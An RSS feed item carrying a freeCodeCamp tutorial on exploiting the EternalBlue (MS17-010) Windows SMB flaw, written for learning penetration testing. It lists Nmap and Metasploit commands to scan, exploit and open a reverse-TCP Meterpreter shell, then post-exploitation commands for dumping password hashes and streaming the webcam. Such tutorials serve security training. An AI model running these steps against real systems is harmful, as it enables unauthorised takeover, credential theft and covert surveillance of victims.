<?xml version="1.0" encoding="UTF-8"?>
<rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/"
    xmlns:atom="http://www.w3.org/2005/Atom" xmlns:media="http://search.yahoo.com/mrss/" version="2.0">
    <channel>
        
        <title>
            <![CDATA[ metasploit framework - freeCodeCamp.org ]]>
        </title>
        <description>
            <![CDATA[ Browse thousands of programming tutorials written by experts. Learn Web Development, Data Science, DevOps, Security, and get developer career advice. ]]>
        </description>
        <link>https://www.freecodecamp.org/news/</link>
        <image>
            <url>https://cdn.freecodecamp.org/universal/favicons/favicon.png</url>
            <title>
                <![CDATA[ metasploit framework - freeCodeCamp.org ]]>
            </title>
            <link>https://www.freecodecamp.org/news/</link>
        </image>
        <generator>Eleventy</generator>
        <lastBuildDate>Tue, 28 Jul 2026 11:53:05 +0000</lastBuildDate>
        <atom:link href="https://www.freecodecamp.org/news/tag/metasploit-framework/rss.xml" rel="self" type="application/rss+xml" />
        <ttl>60</ttl>
        
            <item>
                <title>
                    <![CDATA[ How to Exploit the EternalBlue Vulnerability on Windows – A Step-by-Step Guide ]]>
                </title>
                <description>
                    <![CDATA[ If you’ve followed cybersecurity news over the past few years, you’ve likely come across EternalBlue. This critical Windows exploit played a key role in the widespread WannaCry ransomware attack that affected systems in over 150 countries. In this ar... ]]>
                </description>
                <link>https://www.freecodecamp.org/news/how-to-exploit-the-eternalblue-vulnerability-on-windows/</link>
                <guid isPermaLink="false">67d35b3cba576fa68285a197</guid>
                
                    <category>
                        <![CDATA[ #cybersecurity ]]>
                    </category>
                
                    <category>
                        <![CDATA[ ethicalhacking ]]>
                    </category>
                
                    <category>
                        <![CDATA[ Exploitation ]]>
                    </category>
                
                    <category>
                        <![CDATA[ metasploit ]]>
                    </category>
                
                    <category>
                        <![CDATA[ metasploit framework ]]>
                    </category>
                
                    <category>
                        <![CDATA[ vulnerability ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ Manish Shivanandhan ]]>
                </dc:creator>
                <pubDate>Thu, 13 Mar 2025 22:25:00 +0000</pubDate>
                <media:content url="https://cdn.hashnode.com/res/hashnode/image/upload/v1737564552005/119beff1-e8fb-489c-931b-903421473464.png" medium="image" />
                <content:encoded>
                    <![CDATA[ <p>If you’ve followed cybersecurity news over the past few years, you’ve likely come across EternalBlue.</p>
<p>This critical Windows exploit played a key role in the widespread <a target="_blank" href="https://en.wikipedia.org/wiki/WannaCry_ransomware_attack">WannaCry ransomware</a> attack that affected systems in over 150 countries.</p>
<p>In this article, we’ll walk through how EternalBlue works, how to scan for it, and how to exploit it using Metasploit.</p>
<blockquote>
<p><strong><em>Note*</em></strong>: This is strictly for ethical hacking and penetration testing purposes on systems you own or have explicit permission to test. Do not use these tools on machines where you don’t have permission.*</p>
</blockquote>
<h2 id="heading-what-is-eternalblue"><strong>What Is EternalBlue?</strong></h2>
<p>EternalBlue is a dangerous computer exploit developed by the U.S. National Security Agency (NSA). In 2017, a hacking group called the Shadow Brokers leaked it online. Hackers quickly started using it to attack computers worldwide.</p>
<p>EternalBlue takes advantage of a weakness in Windows computers. This weakness is in the SMB (Server Message Block) protocol, which helps computers share files and printers over a network. By exploiting this flaw, hackers can break into a system without needing a password.</p>
<p>One of the most famous cyberattacks using EternalBlue was WannaCry. This was a ransomware attack that spread across the world in May 2017. It infected over 200,000 computers in more than 150 countries, locking up files and demanding payment. Another attack, NotPetya, used EternalBlue to cause billions of dollars in damage.</p>
<p>Now lets look at how a machine vulnerable to EternalBlue can be exploited.</p>
<h2 id="heading-prerequisites"><strong>Prerequisites</strong></h2>
<ol>
<li><p>A target Windows system vulnerable to EternalBlue (for example, an unpatched Windows 7 system).</p>
</li>
<li><p>An attacking system (often Kali Linux) with Metasploit installed.</p>
</li>
<li><p>Familiarity with basic pentesting commands (Nmap, Metasploit, and so on).</p>
</li>
</ol>
<h3 id="heading-tools-youll-need">Tools You’ll Need</h3>
<p>We are going to use two tools in this tutorial.</p>
<p><strong>Nmap (Network Mapper)</strong> is a tool used to scan networks and discover devices, open ports, and running services. It helps ethical hackers and system administrators find security weaknesses and map out network structures. <a target="_blank" href="https://www.freecodecamp.org/news/what-is-nmap-and-how-to-use-it-a-tutorial-for-the-greatest-scanning-tool-of-all-time/">Here is a full tutorial on Nmap</a>.</p>
<p><strong>Metasploit</strong> is a powerful hacking framework used to test security by finding and exploiting vulnerabilities in computer systems. It includes <strong>Meterpreter</strong>, an advanced payload that gives hackers remote control over a compromised machine. <a target="_blank" href="https://www.freecodecamp.org/news/learn-metasploit-for-beginners/">Here is a full tutorial on Metasploit</a>.</p>
<h2 id="heading-identify-the-target-and-check-for-open-ports"><strong>Identify the Target and Check for Open Ports</strong></h2>
<p>First, get the IP address of your target machine. In our example, the IP is <code>10.10.232.162</code>. You’ll want to confirm that SMB (port 445) is open because EternalBlue attacks the SMB service.</p>
<pre><code class="lang-plaintext">nmap -p 445 10.10.232.162
</code></pre>
<p>If the port is open, Nmap will report that port 445 is open. That’s your first green light.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1737563621594/86733206-6b14-4a51-ae77-bd651fe066dc.webp" alt="Nmap response" class="image--center mx-auto" width="1100" height="337" loading="lazy"></p>
<h2 id="heading-start-metasploit"><strong>Start Metasploit</strong></h2>
<p>Open up your terminal and start the Metasploit Framework (you can <a target="_blank" href="https://www.freecodecamp.org/news/learn-metasploit-for-beginners/">learn more about Metasploit in my article</a> here if you need a refresher):</p>
<pre><code class="lang-plaintext">msfconsole
</code></pre>
<p>Metasploit will load, displaying the number of exploits, auxiliary modules, and payloads available.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1737563650243/bf779d7c-a272-4dc7-aeba-65b812af2268.webp" alt="Msfconsole" class="image--center mx-auto" width="1100" height="307" loading="lazy"></p>
<h2 id="heading-scan-for-the-eternalblue-ms17010-vulnerability"><strong>Scan for the EternalBlue (MS17–010) Vulnerability</strong></h2>
<p>Next, use Metasploit’s built-in scanner for EternalBlue:</p>
<pre><code class="lang-plaintext">search scanner eternalblue
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1737563706786/62f94087-b078-46d9-a0fd-66f00f05336e.webp" alt="Scanner search results" class="image--center mx-auto" width="1100" height="495" loading="lazy"></p>
<p>Use the smb_ms17_010 scanner to check for the EternalBlue vulnerability.</p>
<pre><code class="lang-plaintext">use auxiliary/scanner/smb/smb_ms17_010
show options
</code></pre>
<p>Set the target’s IP address (RHOSTS) to your Windows machine:</p>
<pre><code class="lang-plaintext">set RHOSTS 10.10.217.189
</code></pre>
<p>Then, run the scanner:</p>
<pre><code class="lang-plaintext">run
</code></pre>
<p>If the scanner reports that the host is “likely vulnerable” and shows details such as Windows 7 Professional, you’ve confirmed the EternalBlue vulnerability.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1737563744272/f3204f5f-11aa-4778-aa7e-b4a6b9d90912.webp" alt="ms17_010 scan results" class="image--center mx-auto" width="1100" height="306" loading="lazy"></p>
<h2 id="heading-exploit-the-vulnerability"><strong>Exploit the Vulnerability</strong></h2>
<p>Once you know the target is vulnerable, search for the actual EternalBlue exploit module:</p>
<pre><code class="lang-plaintext">search exploit eternalblue
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1737563783135/0a4c7c5b-5f2b-4d4f-bb2a-c3af8b49f29e.webp" alt="Exploit search results" class="image--center mx-auto" width="1100" height="649" loading="lazy"></p>
<p>You should see a list of possible exploits. The one we’re interested in is typically labelled something like:</p>
<pre><code class="lang-plaintext">exploit/windows/smb/ms17_010_eternalblue
</code></pre>
<p>Use that exploit:</p>
<pre><code class="lang-plaintext">use exploit/windows/smb/ms17_010_eternalblue
show options
</code></pre>
<p>Set the target’s IP address again:</p>
<pre><code class="lang-plaintext">set RHOSTS 10.10.217.189
</code></pre>
<p>Then check the payload settings. Metasploit often defaults to a <strong>Meterpreter</strong> payload (for example, <code>windows/x64/meterpreter/reverse_tcp</code>), which is ideal. Confirm that your local IP (LHOST) is correct, so the connection can come back to your machine.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1737563823155/6d4e795a-abdb-4b08-8b25-292ac134135e.webp" alt="Options for exploit" class="image--center mx-auto" width="1100" height="655" loading="lazy"></p>
<p>Finally, run the exploit:</p>
<pre><code class="lang-plaintext">run
</code></pre>
<h2 id="heading-meterpreter-shell-and-post-exploitation"><strong>Meterpreter Shell and Post-Exploitation</strong></h2>
<p>If successful, you will land in a <strong>Meterpreter</strong> shell. Meterpreter is a powerful payload that allows you to:</p>
<ul>
<li><p>Dump password hashes</p>
</li>
<li><p>Elevate privileges</p>
</li>
<li><p>Capture webcam streams</p>
</li>
<li><p>Record microphones, and more.</p>
</li>
</ul>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1737563857046/7de15dd6-7905-4ad0-9aea-7b3be8febc35.webp" alt="Successful meterpreter shell" class="image--center mx-auto" width="1100" height="664" loading="lazy"></p>
<p>Here’s a quick look at some Meterpreter commands:</p>
<pre><code class="lang-plaintext">sysinfo         # Displays the target system information
getuid          # Shows the user context you’re running under
hashdump        # Dumps SAM password hashes (requires privilege escalation)
webcam_stream   # Streams from the target’s webcam if available
</code></pre>
<p>The EternalBlue exploit is a prime example of how a single unpatched vulnerability can expose a system for takeover.</p>
<p>Understanding its mechanics helps defensive teams patch systems, monitor network traffic for suspicious SMB communications, and create robust response strategies.</p>
<h2 id="heading-conclusion"><strong>Conclusion</strong></h2>
<p>EternalBlue remains one of the most notable Windows vulnerabilities, illustrating the importance of patching and cybersecurity hygiene. From scanning with Nmap to exploiting with Metasploit, the process follows a typical penetration testing workflow: <strong>scan for holes</strong>, <strong>identify vulnerabilities</strong>, <strong>exploit</strong>, and <strong>escalate</strong>.</p>
<p>Hackers use EternalBlue to spread malware, create botnets, and steal data. Cybersecurity experts recommend updating Windows, disabling SMBv1, and using strong firewalls to stay protected.</p>
<p>Microsoft released a patch (a security update) in March 2017 to fix the issue. However, many computers were not updated, making them easy targets for hackers. Even today, some systems remain unpatched and at risk.</p>
<p>For video tutorials on Cybersecurity, check out my <a target="_blank" href="https://www.youtube.com/@stealthsecurity_sh?sub_confirmation=true"><strong>YouTube channel</strong></a>. To get some hands on experience with Eternal Blue and similar vulnerabilities, check out this <a target="_blank" href="https://start.stealthsecurity.sh/">Security Starter</a> course.</p>
 ]]>
                </content:encoded>
            </item>
        
    </channel>
</rss>
